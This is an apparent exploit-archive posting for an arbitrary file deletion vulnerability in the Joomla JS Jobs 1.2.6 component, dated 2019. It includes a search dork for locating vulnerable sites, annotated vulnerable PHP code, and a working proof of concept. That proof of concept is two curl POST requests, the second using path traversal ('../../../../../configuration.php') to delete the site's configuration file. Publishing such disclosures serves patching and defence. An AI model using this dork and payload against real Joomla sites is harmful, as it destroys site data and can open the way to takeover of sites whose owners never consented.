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Joomla JS Jobs 1.2.6 Arbitrary File Delete

Joomla JS Jobs 1.2.6 Arbitrary File Delete
Posted Aug 16, 2019
Authored by qw3rTyTy

Joomla JS Jobs component version 1.2.6 suffers from an arbitrary file deletion vulnerability.

tags | exploit, arbitrary
MD5 | 4aaff4d9cb1016b3b2f73bbdf2679d2f

Joomla JS Jobs 1.2.6 Arbitrary File Delete

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# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
# Dork: inurl:"index.php?option=com_jsjobs"
# Date: 2019-08-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.joomsky.com/
# Software Link: https://www.joomsky.com/5/download/1
# Version: 1.2.6
# Tested on: Debian/nginx/joomla 3.9.0

# Vulnerability details:
# This vulnerability is caused when processing custom userfield.

File: site/models/job.php
Function: storeJob
Line: 1240
-------------------------------------

1215 //custom field code start
1216 $customflagforadd = false;
1217 $customflagfordelete = false;
1218 $custom_field_namesforadd = array();
1219 $custom_field_namesfordelete = array();
1220 $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
1221 $params = array();
1222 $forfordelete = '';
1223
1224 foreach ($userfield AS $ufobj) {
1225 $vardata = '';
1226 if($ufobj->userfieldtype == 'file'){
1227 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
1228 $vardata = $data[$ufobj->field.'_2'];
1229 }else{
1230 $vardata = $_FILES[$ufobj->field]['name'];
1231 }
1232 $customflagforadd=true;
1233 $custom_field_namesforadd[]=$ufobj->field;
1234 }else{
1235 $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
1236 }
1237 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
1238 $customflagfordelete = true;
1239 $forfordelete = $ufobj->field;
1240 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //No check.
1241 }
...snip...
1323 // new
1324 //removing custom field
1325 if($customflagfordelete == true){
1326 foreach ($custom_field_namesfordelete as $key) {
1327 $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2); //!!!
1328 }
1329 }

File: site/models/common.php
Function: uploadOrDeleteFileCustom
Line: 851
-------------------------------------

748 $path = $base . '/' . $datadirectory;
749 if (!file_exists($path)) { // create user directory
750 $this->makeDir($path);
751 }
752 $isupload = false;
753 $path = $path . '/data';
754 if (!file_exists($path)) { // create user directory
755 $this->makeDir($path);
756 }
757 if($for == 3 )
758 $path = $path . '/jobseeker';
759 else
760 $path = $path . '/employer';
761
762 if (!file_exists($path)) { // create user directory
763 $this->makeDir($path);
764 }
...snip...
843 } else { // DELETE FILES
844 if ($isdeletefile == 1) {
845 if($for == 3){
846 $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
847 }else{
848 $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
849 }
850 $file = $userpath.$field;
851 unlink($file); //!!!
852 }
853 return 1;
854 }
855 }

#####################################
#PoC:
#####################################

# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"

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